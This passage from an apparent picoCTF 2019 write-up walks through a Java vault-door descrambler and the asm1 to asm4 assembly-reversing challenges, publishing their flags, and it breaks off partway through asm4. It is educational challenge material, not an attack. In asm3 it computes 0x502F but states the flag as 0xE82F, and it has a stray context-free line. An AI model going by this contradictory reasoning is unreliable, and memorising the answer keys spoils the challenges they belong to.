 <span class="mh">0xB4</span><span class="o">,</span> <span class="mh">0xD1</span><span class="o">,</span> <span class="mh">0xD2</span><span class="o">,</span> <span class="mh">0x85</span><span class="o">,</span> <span class="mh">0xA4</span><span class="o">,</span> <span class="mh">0xA5</span><span class="o">,</span> <span class="mh">0xC1</span><span class="o">,</span><span class="mh">0x85</span><span class="o">};</span>
 <span class="kt">char</span><span class="o">[]</span> <span class="n">descrambled</span> <span class="o">=</span> <span class="n">scramble</span><span class="o">(</span><span class="n">expected</span><span class="o">);</span>
 <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">descrambled</span><span class="o">);</span>
<span class="o">}</span>

<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span> <span class="n">args</span><span class="o">[])</span> <span class="o">{</span>
 <span class="nc">VaultDoor8</span> <span class="n">a</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">VaultDoor8</span><span class="o">();</span>
 <span class="n">a</span><span class="o">.</span><span class="na">checkPassword</span><span class="o">();</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Now running the program we will get <code class="language-plaintext highlighter-rouge">s0m3_m0r3_b1t_sh1fTiNg_0c59dbf4d</code> as the output.
Running the original program and supplying that as the input will give us the good boy message.
Therefore, our flag is <code class="language-plaintext highlighter-rouge">picoCTF{s0m3_m0r3_b1t_sh1fTiNg_0c59dbf4d}</code>.</p>

<h1 id="asm1">asm1</h1>

<h2 id="problem-8">Problem</h2>

<p>What does asm1(0x1b4) return? Submit the flag as a hexadecimal value (starting with ‘0x’). NOTE: Your submission for this question will NOT be in the normal flag format. <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/asm1/test.S">Source</a> located in the directory at /problems/asm1_3_afba952b3219ced79409c353bf73fbd8.</p>

<p>Hint: assembly <a href="https://www.tutorialspoint.com/assembly_programming/assembly_conditions.htm">conditions</a></p>

<h2 id="solution-8">Solution</h2>

<p>Looking at the assembly source code we see that there are multiple jump conditions we much pass.</p>

<p>Our first condition is below.
We check the value pointed to by EBP+0x8 against 0x421.
Since this program took one parameter, 0x1b4, we know that EBP+0x8 is the address pointing to the first passed parameter. With EBP+0x4 being the program’s runtime path.
Since <code class="language-plaintext highlighter-rouge">0x1B4 &lt; 0x421</code> we will not take the jump condition as it is <code class="language-plaintext highlighter-rouge">JG</code> or <a href="https://www.aldeid.com/wiki/X86-assembly/Instructions/jg">jump greater</a>, therefore, we will move onto line 12.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+3&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x421</span>
<span class="err">&lt;+10&gt;:</span> <span class="nf">jg</span> <span class="mh">0x512</span> <span class="o">&lt;</span><span class="nv">asm1</span><span class="o">+</span><span class="mi">37</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>In this check, we compare the passed parameter against <code class="language-plaintext highlighter-rouge">0x1B4</code>.
Since <code class="language-plaintext highlighter-rouge">0x1B4 == 0x1B4</code> we will not take this jump as it is <code class="language-plaintext highlighter-rouge">jne</code> or [jump not equal(https://www.aldeid.com/wiki/X86-assembly/Instructions/jg); on to the next line.</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+12&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x1b4</span>
<span class="err">&lt;+19&gt;:</span> <span class="nf">jne</span> <span class="mh">0x50a</span> <span class="o">&lt;</span><span class="nv">asm1</span><span class="o">+</span><span class="mi">29</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Here we move <code class="language-plaintext highlighter-rouge">0x421</code> into <code class="language-plaintext highlighter-rouge">EAX</code>.
Following this, we perform <code class="language-plaintext highlighter-rouge">0x1B4 + 0x13</code>; after this operation, <code class="language-plaintext highlighter-rouge">EAX</code> will contain <code class="language-plaintext highlighter-rouge">0x1C7</code> and jump to line 60.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+21&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span>
<span class="err">&lt;+24&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="mh">0x13</span>
<span class="err">&lt;+27&gt;:</span> <span class="nf">jmp</span> <span class="mh">0x529</span> <span class="o">&lt;</span><span class="nv">asm1</span><span class="o">+</span><span class="mi">60</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>We now clean up our stack and exit this function.
Since EAX is treated as the return value we return <code class="language-plaintext highlighter-rouge">0x1C7</code>.
Therefore, our flag is <code class="language-plaintext highlighter-rouge">0x1C7</code>.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+60&gt;:</span> <span class="nf">pop</span> <span class="nb">ebp</span>
<span class="err">&lt;+61&gt;:</span> <span class="nf">ret</span>
</code></pre></div></div>

<h1 id="asm2">asm2</h1>

<h2 id="problem-9">Problem</h2>

<p>What does asm2(0x6,0x24) return? Submit the flag as a hexadecimal value (starting with ‘0x’). NOTE: Your submission for this question will NOT be in the normal flag format. <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/asm2/test.S">Source</a> located in the directory at /problems/asm2_6_88bbaaae0b7723b33c39fce07d342e36.</p>

<h2 id="solution-9">Solution</h2>

<p>The program starts with the stack looking like so:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------+
| 0x24 | &lt;-- ebp + 0xc
+---------+
| 0x6 | &lt;-- ebp + 0x8
+---------+
| ret | &lt;-- ebp + 0x4
+---------+
| old ebp | &lt;-- ebp
+---------+
</code></pre></div></div>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+0&gt;:</span> <span class="nf">push</span> <span class="nb">ebp</span>
<span class="err">&lt;+1&gt;:</span> <span class="nf">mov</span> <span class="nb">ebp</span><span class="p">,</span><span class="nb">esp</span>
<span class="err">&lt;+3&gt;:</span> <span class="nf">sub</span> <span class="nb">esp</span><span class="p">,</span><span class="mh">0x10</span>
</code></pre></div></div>

<p>After we set up the stack with the stack prologue it now looks like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------+
| 0x24 | &lt;-- ebp + 0xc
+---------+
| 0x6 | &lt;-- ebp + 0x8
+---------+
| ret | &lt;-- ebp + 0x4
+---------+
| old ebp | &lt;-- ebp
+---------+
| | &lt;-- ebp - 0x4
+---------+
| | &lt;-- ebp - 0x8
+---------+
| | &lt;-- ebp - 0xc
+---------+
| | &lt;-- ebp - 0x10
+---------+
</code></pre></div></div>

<p>This program starts by loading the second passed parameter, <code class="language-plaintext highlighter-rouge">0x24</code>, into <code class="language-plaintext highlighter-rouge">EAX</code>.
Following this, we load the contents of <code class="language-plaintext highlighter-rouge">EAX</code> into temporary storage at <code class="language-plaintext highlighter-rouge">EBP-0x4</code>, essentially <code class="language-plaintext highlighter-rouge">EBP-0x4</code> points to the second parameter.
We do the same for the first parameter, <code class="language-plaintext highlighter-rouge">0x6</code>, but have it stored at <code class="language-plaintext highlighter-rouge">EBP-0x8</code> and then jump to line 31.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+6&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0xc</span><span class="p">]</span> <span class="c1">; eax = 0x24</span>
<span class="err">&lt;+9&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="nb">eax</span> <span class="c1">; var1 = 0x24</span>
<span class="err">&lt;+12&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = 0x6</span>
<span class="err">&lt;+15&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="nb">eax</span> <span class="c1">; var2 = 0x6</span>
<span class="err">&lt;+18&gt;:</span> <span class="nf">jmp</span> <span class="mh">0x50c</span> <span class="o">&lt;</span><span class="nv">asm2</span><span class="o">+</span><span class="mi">31</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>After this code block our stack will look like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------+
| 0x24 | &lt;-- ebp + 0xc
+---------+
| 0x6 | &lt;-- ebp + 0x8
+---------+
| ret | &lt;-- ebp + 0x4
+---------+
| old ebp | &lt;-- ebp
+---------+
| 0x24 | &lt;-- ebp - 0x4
+---------+
| 0x6 | &lt;-- ebp - 0x8
+---------+
| | &lt;-- ebp - 0xc
+---------+
| | &lt;-- ebp - 0x10
+---------+
</code></pre></div></div>

<p>Here we check and see if the value at <code class="language-plaintext highlighter-rouge">EBP-0x8</code> less than or equal to <code class="language-plaintext highlighter-rouge">0x3C75</code>.
Currently <code class="language-plaintext highlighter-rouge">EBP-0x8</code> contains <code class="language-plaintext highlighter-rouge">0x6</code> therefore we will make the jump to line 20.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+31&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x3c75</span>
<span class="err">&lt;+38&gt;:</span> <span class="nf">jle</span> <span class="mh">0x501</span> <span class="o">&lt;</span><span class="nv">asm2</span><span class="o">+</span><span class="mi">20</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>At line 20 we add <code class="language-plaintext highlighter-rouge">0x1</code> to <code class="language-plaintext highlighter-rouge">EBP-0x4</code> and add <code class="language-plaintext highlighter-rouge">0xF9</code> to <code class="language-plaintext highlighter-rouge">EBP-0x8</code>.
Then we do the same compare and conditional jump.
For the jump to fail <code class="language-plaintext highlighter-rouge">EBP-0x8</code> needs to be greater than <code class="language-plaintext highlighter-rouge">0x501</code>.
Since we add <code class="language-plaintext highlighter-rouge">0xF9</code> each time to <code class="language-plaintext highlighter-rouge">EBP-0x8</code> it will take 63 iterations to complete.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+20&gt;:</span> <span class="nf">add</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">],</span><span class="mh">0x1</span>
<span class="err">&lt;+24&gt;:</span> <span class="nf">add</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0xf9</span>
<span class="err">&lt;+31&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x3c75</span>
<span class="err">&lt;+38&gt;:</span> <span class="nf">jle</span> <span class="mh">0x501</span> <span class="o">&lt;</span><span class="nv">asm2</span><span class="o">+</span><span class="mi">20</span><span class="o">&gt;</span>
</code></pre></div></div>
<p>After the first iteration of our loop our stack will look like:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+---------+
| 0x24 | &lt;-- ebp + 0xc
+---------+
| 0x6 | &lt;-- ebp + 0x8
+---------+
| ret | &lt;-- ebp + 0x4
+---------+
| old ebp | &lt;-- ebp
+---------+
| 0x25 | &lt;-- ebp - 0x4
+---------+
| 0xff | &lt;-- ebp - 0x8
+---------+
| | &lt;-- ebp - 0xc
+---------+
| | &lt;-- ebp - 0x10
+---------+
</code></pre></div></div>

<p>After not jumping we load <code class="language-plaintext highlighter-rouge">EAX</code> with EBP-0x4.
Since we ran the loop 63 times EBP-0x4 will equal <code class="language-plaintext highlighter-rouge">0x63</code> (<code class="language-plaintext highlighter-rouge">0x24 + 63</code>).
We then clean up the stack and leave the function.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+40&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x4</span><span class="p">]</span>
<span class="err">&lt;+43&gt;:</span> <span class="nf">leave</span>
<span class="err">&lt;+44&gt;:</span> <span class="nf">ret</span>
</code></pre></div></div>

<h1 id="asm3">asm3</h1>

<h2 id="problem-10">Problem</h2>

<p>What does asm3(0xfe8cf7a4,0xf55018af,0xb8c70926) return? Submit the flag as a hexadecimal value (starting with ‘0x’). NOTE: Your submission for this question will NOT be in the normal flag format. <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/asm3/test.S">Source</a> located in the directory at /problems/asm3_6_22c78ed107ca0b7dd11f868d7203cf8c.</p>

<h2 id="solution-10">Solution</h2>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+0&gt;:</span> <span class="nf">push</span> <span class="nb">ebp</span>
<span class="err">&lt;+1&gt;:</span> <span class="nf">mov</span> <span class="nb">ebp</span><span class="p">,</span><span class="nb">esp</span>
<span class="err">&lt;+3&gt;:</span> <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">eax</span>
</code></pre></div></div>

<p>After we setup the stack with the first two lines and clear <code class="language-plaintext highlighter-rouge">EAX</code> our stack will look like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+
| 0xb8c70926 | &lt;-- ebp + 0x10
+----------------+
| 0xf55018af | &lt;-- ebp + 0xc
+----------------+
| 0xfe8cf7a4 | &lt;-- ebp + 0x8
+----------------+
| ret | &lt;-- ebp + 0x4
+----------------+
| old ebp | &lt;-- ebp
+----------------+
</code></pre></div></div>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+5&gt;:</span> <span class="nf">mov</span> <span class="nb">ah</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x9</span><span class="p">]</span>
<span class="err">&lt;+8&gt;:</span> <span class="nf">shl</span> <span class="nb">ax</span><span class="p">,</span><span class="mh">0x10</span>
</code></pre></div></div>

<p>We then load EBP+0x9 into <code class="language-plaintext highlighter-rouge">AH</code> which will be <code class="language-plaintext highlighter-rouge">0xF7</code>.
Following this, we perform a shift on <code class="language-plaintext highlighter-rouge">AX</code> which contains <code class="language-plaintext highlighter-rouge">0xF700</code>.
Performing a left shift of 16 will completely shift everything off of <code class="language-plaintext highlighter-rouge">AX</code>, therefore, <code class="language-plaintext highlighter-rouge">AX</code> after this operation will contain 0.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Index</th>
      <th style="text-align: center">EBP+Index</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0x8</td>
      <td style="text-align: center">0xA4</td>
    </tr>
    <tr>
      <td style="text-align: center">0x9</td>
      <td style="text-align: center">0xF7</td>
    </tr>
    <tr>
      <td style="text-align: center">0xA</td>
      <td style="text-align: center">0x8C</td>
    </tr>
    <tr>
      <td style="text-align: center">0xB</td>
      <td style="text-align: center">0xFE</td>
    </tr>
    <tr>
      <td style="text-align: center">0xC</td>
      <td style="text-align: center">0xAF</td>
    </tr>
  </tbody>
</table>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+12&gt;:</span> <span class="nf">sub</span> <span class="nb">al</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0xd</span><span class="p">]</span> <span class="c1">; AL = 0x0 - 0x18 = 0xE8</span>
</code></pre></div></div>

<p>After the prior shift left we will subtract AL by the contents of <code class="language-plaintext highlighter-rouge">EBP+0xD</code>; which is <code class="language-plaintext highlighter-rouge">0x18</code>.
Performing this operation will set <code class="language-plaintext highlighter-rouge">AL</code> with <code class="language-plaintext highlighter-rouge">0xE8</code>, which is a negative 0x18 in two’s complement.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+15&gt;:</span> <span class="nf">add</span> <span class="nb">ah</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0xe</span><span class="p">]</span> <span class="nb">AH</span> <span class="err">=</span> <span class="mh">0x0</span> <span class="o">+</span> <span class="mh">0x50</span> <span class="err">=</span> <span class="mh">0x50</span>
</code></pre></div></div>

<p>Now we add <code class="language-plaintext highlighter-rouge">EBP+0xE</code> to AH; which is <code class="language-plaintext highlighter-rouge">0x50</code>. Since AH is still 0x0 from last time the resulting operation will have <code class="language-plaintext highlighter-rouge">AH</code> be <code class="language-plaintext highlighter-rouge">0x50</code>.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+18&gt;:</span> <span class="nf">xor</span> <span class="nb">ax</span><span class="p">,</span><span class="kt">WORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x12</span><span class="p">]</span>
</code></pre></div></div>

<p>Then we perform an XOR operation on AX with <code class="language-plaintext highlighter-rouge">EBP+0x12</code>; which is <code class="language-plaintext highlighter-rouge">0xE82F</code>.
So the value in AX after this operation will be 0x502F
NOTE: This time the value we pull is larger. This is because we use the WORD keyword instead of BYTE as we have done in the past.
This little difference tripped me up the first time attempting this challenge.
Therefore, our flag is <code class="language-plaintext highlighter-rouge">0xE82F</code>.</p>

<h1 id="asm4">asm4</h1>

<h2 id="problem-11">Problem</h2>

<p>What will asm4(“picoCTF_c1373”) return? Submit the flag as a hexadecimal value (starting with ‘0x’). NOTE: Your submission for this question will NOT be in the normal flag format. <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/asm4/test.S">Source</a> located in the directory at /problems/asm4_5_ca12dca0134f6b54a52c905ffc1e5b35.</p>

<h2 id="solution-11">Solution</h2>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+0&gt;:</span> <span class="nf">push</span> <span class="nb">ebp</span>
<span class="err">&lt;+1&gt;:</span> <span class="nf">mov</span> <span class="nb">ebp</span><span class="p">,</span><span class="nb">esp</span>
<span class="err">&lt;+3&gt;:</span> <span class="nf">push</span> <span class="nb">ebx</span>
<span class="err">&lt;+4&gt;:</span> <span class="nf">sub</span> <span class="nb">esp</span><span class="p">,</span><span class="mh">0x10</span>
</code></pre></div></div>
<p>After the stack prologue our stack will look like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+
| picoCTF_c1373 | &lt;-- ebp + 0x8
+----------------+
| ret | &lt;-- ebp + 0x4
+----------------+
| old ebp | &lt;-- ebp
+----------------+
| | &lt;-- ebp - 0x4
+----------------+
| | &lt;-- ebp - 0x8
+----------------+
| | &lt;-- ebp - 0xc
+----------------+
| | &lt;-- ebp - 0x10
+----------------+
</code></pre></div></div>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+7&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x10</span><span class="p">],</span><span class="mh">0x247</span> <span class="c1">; var2 = 0x247</span>
<span class="err">&lt;+14&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0xc</span><span class="p">],</span><span class="mh">0x0</span> <span class="c1">; var1 = 0</span>
<span class="err">&lt;+21&gt;:</span> <span class="nf">jmp</span> <span class="mh">0x518</span> <span class="o">&lt;</span><span class="nv">asm4</span><span class="o">+</span><span class="mi">27</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>The first few lines will load some hardcoded values into local variables.
After these lines the stack will look like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+
| picoCTF_c1373 | &lt;-- ebp + 0x8
+----------------+
| ret | &lt;-- ebp + 0x4
+----------------+
| old ebp | &lt;-- ebp
+----------------+
| | &lt;-- ebp - 0x4
+----------------+
| | &lt;-- ebp - 0x8
+----------------+
| 0x0 | &lt;-- ebp - 0xc
+----------------+
| 0x247 | &lt;-- ebp - 0x10
+----------------+
</code></pre></div></div>

<p>1 and 1 = 1, ZF = 0</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+23&gt;:</span> <span class="nf">add</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0xc</span><span class="p">],</span><span class="mh">0x1</span> <span class="c1">; var1 += 1</span>
<span class="err">&lt;+27&gt;:</span> <span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0xc</span><span class="p">]</span> <span class="c1">; edx = var1</span>
<span class="err">&lt;+30&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = input</span>
<span class="err">&lt;+33&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">edx</span> <span class="c1">; eax = input[var1]</span>
<span class="err">&lt;+35&gt;:</span> <span class="nf">movzx</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">eax</span><span class="p">]</span> <span class="c1">;</span>
<span class="err">&lt;+38&gt;:</span> <span class="nf">test</span> <span class="nb">al</span><span class="p">,</span><span class="nb">al</span> <span class="c1">; if al != 0</span>
<span class="err">&lt;+40&gt;:</span> <span class="nf">jne</span> <span class="mh">0x514</span> <span class="o">&lt;</span><span class="nv">asm4</span><span class="o">+</span><span class="mi">23</span><span class="o">&gt;</span> <span class="c1">; jump 23</span>
</code></pre></div></div>

<p>We now enter a loop block, line 23 is the loop counter incrementer but as this is the first iteration of the loop we skip over it.
In the loop, we add the counter to the input character array, which starts as <code class="language-plaintext highlighter-rouge">picoCTF_c1373</code>.
Then we do a test on the lower 8 bits of EAX.
If the lower 8 bits are 0 then we will leave the loop otherwise we increment the loop counter at var1 and start again.</p>

<p>The only way for those bits to be zero is if we reach the null character in the character array; which denotes the end of the array.
What this code block is doing is just getting the length of the input array; which is 13 characters long.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+42&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x1</span> <span class="c1">; var3 = 0</span>
<span class="err">&lt;+49&gt;:</span> <span class="nf">jmp</span> <span class="mh">0x587</span> <span class="o">&lt;</span><span class="nv">asm4</span><span class="o">+</span><span class="mi">138</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>Now we create a new local variable on the stack.
So after this, our stack will look like this.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+
| picoCTF_c1373 | &lt;-- ebp + 0x8
+----------------+
| ret | &lt;-- ebp + 0x4
+----------------+
| old ebp | &lt;-- ebp
+----------------+
| | &lt;-- ebp - 0x4
+----------------+
| 0x1 | &lt;-- ebp - 0x8
+----------------+
| 0xd | &lt;-- ebp - 0xc
+----------------+
| 0x247 | &lt;-- ebp - 0x10
+----------------+
</code></pre></div></div>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+138&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0xc</span><span class="p">]</span> <span class="c1">; eax = var1</span>
<span class="err">&lt;+141&gt;:</span> <span class="nf">sub</span> <span class="nb">eax</span><span class="p">,</span><span class="mh">0x1</span> <span class="c1">; eax -= 1</span>
<span class="err">&lt;+144&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="nb">eax</span> <span class="nv">if</span> <span class="nv">var3</span> <span class="o">&lt;</span> <span class="nb">eax</span>
<span class="err">&lt;+147&gt;:</span> <span class="nf">jl</span> <span class="mh">0x530</span> <span class="o">&lt;</span><span class="nv">asm4</span><span class="o">+</span><span class="mi">51</span><span class="o">&gt;</span> <span class="nv">jump</span> <span class="mi">51</span>
</code></pre></div></div>

<p>In this code block, we load var1 into EAX and decrement by 1 and compare it to var3 which is currently 1.
If var3 is less than EAX we take a jump.
Since during this first loop EAX contains 0xC and var3 contains 1 it is less so we do take the jump.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;+51&gt;: mov edx,DWORD PTR [ebp-0x8] ; edx = var3
&lt;+54&gt;: mov eax,DWORD PTR [ebp+0x8] ; eax = arg1
&lt;+57&gt;: add eax,edx ; eax = eax[edx]
&lt;+59&gt;: movzx eax,BYTE PTR [eax]
&lt;+62&gt;: movsx edx,al ; edx = eax
</code></pre></div></div>

<p>Here we load EDX with var3, currently 1, and EAX with arg1, the character array.
Then we get the character located at the index of var3. So for this first iteration, we grab the character at index 1, so <code class="language-plaintext highlighter-rouge">i</code>, and load it into EDX.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+65&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = var3</span>
<span class="err">&lt;+68&gt;:</span> <span class="nf">lea</span> <span class="nb">ecx</span><span class="p">,[</span><span class="nb">eax</span><span class="o">-</span><span class="mh">0x1</span><span class="p">]</span> <span class="c1">; ecx = eax - 1</span>
<span class="err">&lt;+71&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = arg1</span>
<span class="err">&lt;+74&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">ecx</span> <span class="c1">; eax[ecx]</span>
<span class="err">&lt;+76&gt;:</span> <span class="nf">movzx</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">eax</span><span class="p">]</span>
<span class="err">&lt;+79&gt;:</span> <span class="nf">movsx</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">al</span>
<span class="err">&lt;+82&gt;:</span> <span class="nf">sub</span> <span class="nb">edx</span><span class="p">,</span><span class="nb">eax</span> <span class="c1">; edx -= eax</span>
<span class="err">&lt;+84&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">edx</span> <span class="c1">; eax = edx</span>
<span class="err">&lt;+86&gt;:</span> <span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span><span class="nb">eax</span> <span class="c1">; edx = eax</span>
</code></pre></div></div>

<p>Here we load EAX with var3 and then load ECX with EAX - 1.
We then grab the index of the character array specified by ECX, which is currently 0.</p>

<p>So as of right now, EAX contains <code class="language-plaintext highlighter-rouge">p</code> and EDX contains <code class="language-plaintext highlighter-rouge">i</code>.
After loading EAX with the sign-extended version of AL, we subtract EDX with EAX.
So we subtract <code class="language-plaintext highlighter-rouge">p</code> with <code class="language-plaintext highlighter-rouge">i</code> and load it into EDX.
In other words we calculate <code class="language-plaintext highlighter-rouge">arg1[i] - arg1[i-1]</code>.
For this first iteration EDX contains 0xFFF9.</p>

